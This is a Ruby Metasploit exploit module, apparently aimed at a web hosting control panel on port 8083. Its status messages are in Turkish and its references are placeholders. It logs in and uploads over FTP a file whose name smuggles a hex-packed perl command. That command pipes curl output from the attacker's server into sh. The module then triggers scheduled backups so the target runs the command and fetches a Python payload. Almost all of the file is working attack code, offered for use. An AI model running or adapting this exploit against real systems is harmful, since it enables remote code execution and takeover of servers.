
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary web server
#
###
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
        update_info(
            info,
            'Name'           => 'Sample Webapp Exploit',
            'Description'    => %q(
           Laga lugu
        ),
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'mehmet ince', # msf module & vuln
                ],
            'References'     =>
                [
                    [ 'OSVDB', '12345' ],
                    [ 'EDB', '12345' ],
                    [ 'URL', 'http://www.example.com'],
                    [ 'CVE', '1978-1234']
                ],
            'Privileged'     => true,
            'Platform'       => ['python'],
            'Arch'           => [ ARCH_PYTHON ],
            'Targets'        =>
                [
                    [ 'Automatic Target', {}]
                ],
            'Payload'        =>
                {
                    'Compat'      =>
                        {
                            'ConnectionType' => '-bind'
                        },
                },
            'DisclosureDate' => "Apr 1 2013",
            'DefaultTarget'  => 0
        )
    )
    # set the default port, and a URI that a user can set if the app isn't installed to the root
    register_options(
        [
            Opt::RPORT(8083),
            OptString.new('USERNAME', [ true, 'User to login with', 'emirhan']),
            OptString.new('PASSWORD', [ false, 'Password to login with', 'qwe123']),
            OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/']),
        ], self.class
    )

    deregister_options('FTPUSER', 'FTPPASS')

  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end


  def login
      print_status('Login olmaya basladim')

      res = send_request_cgi({
         'method' => 'GET',
         'uri' => normalize_uri(target_uri.path, 'login', '/')
      })

      print_status('buraya gelemiyoruz')

      unless res
        fail_with(Failure::Unreachable, 'Hedefe erisilemiyor')
      end

      unless res.code == 200
        fail_with(Failure::UnexpectedReply, '200 gelecekti.Gelmedi')
      end

      if res.get_cookies.empty?
        fail_with(Failure::UnexpectedReply, 'Cookie gelmedi')
      end

      @cookie = res.get_cookies
      @csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''

      if @csrf_token.empty?
         fail_with(Failure::UnexpectedReply, 'CSRF Token alinamadi')
      end

      print_good('her sey cok guzel. Login islemine gecebiliriz.')

      res = send_request_cgi({
           'method' => 'POST',
           'uri' => normalize_uri(target_uri.path, 'login', '/'),
           'cookie' => @cookie,
           'vars_post' => {
               'token' => @csrf_token,
               'user' => username,
               'password' => password
           }
       })

      unless res
        fail_with(Failure::Unreachable, 'Hedefe erisilemiyor')
      end

      if res.body.include?('Invalid or missing token')
        fail_with(Failure::UnexpectedReply,'CSRF token ve SESSIOn arasinda sorun var')
      end

      if res.body.include?('Invalid username or password.')
        fail_with(Failure::NoAccess,'Creds yanlis')
      end

      if res.code == 302
        if res.get_cookies.empty?
          fail_with(Failure::UnexpectedReply,'Login olduk ama cookie gelmedi')
        end
        @cookie = res.get_cookies
        print_good('Login OLDUK !')
      else
        fail_with(Failure::UnexpectedReply,'Yok artik ali sami')
      end
  end


  def payload_uret

    p = "curl -SSL #{@service_urlimiz}| sh".to_s.unpack("H*").first
    a = p.length
    final = "perl${IFS}-e${IFS}'system(pack(qq,H#{a.to_s},,qq,#{p},))'"
    final
  end

  def on_request_uri(cli, req)
    print_good('Hedef sistemden tarafimiza CURL talebi geldi :)')
    final = "python -c \"#{payload.encoded}\""
    send_response(cli, final, {'Content-Type' => 'text/html'})
  end

  def start_http_server
    if datastore['SSL']
      ssl_sakla = true
      datastore['SSL'] = false
    end

    start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
    }})

    @service_urlimiz = get_uri

    datastore['SSL'] = true if ssl_sakla
  end

  def payload_yerlestir

    datastore['FTPUSER'] = username
    datastore['FTPPASS'] = password

    if datastore['SSL']
      ssl_sakla = true
      datastore['SSL'] = false
    end

    port_sakla = datastore['RPORT']
    datastore['RPORT'] = 21

    if (not connect_login)
      fail_with(Failure::Unreachable, 'ftp login olunamadi')
    end


    res = send_cmd_data(['PUT', ".asd';$(#{payload_uret});'"], '')

    if res.nil?
      fail_with(Failure::UnexpectedReply, 'dosya yazilamadi')
    end

    print_good('Yine her sey guzel ftp isi tamam')

    datastore['SSL'] = true if ssl_sakla
    datastore['RPORT'] = port_sakla

  end

  def exploit
    start_http_server
    login
    payload_yerlestir
    backup_al_ve_tetikle

  end


  def backup_al_ve_tetikle

    print_status('Backup baslatiliyor.')

    backup_calisiyor = true

    while backup_calisiyor

      res = send_request_cgi({
         'method' => 'GET',
         'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),
         'cookie' => @cookie,
      })

      if res && res.code == 302 && res.headers['Location'] =~/\/list\/backup\//


        res = send_request_cgi({
           'method' => 'GET',
           'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),
           'cookie' => @cookie,
        })

        if res && res.code == 200

          if res.body.include?('An existing backup is already running')
            print_status('backup devam ediyor. 30 sn bekle...')
            sleep(20)
          elsif res.body.include?('Task has been added to the queue')
            print_good('Schedule backup baslatildi :)')
          else
            fail_with(Failure::UnexpectedReply, 'yolun sonunda patladik')
          end

        else

          backup_calisiyor = false

        end




      end


    end

  end

end
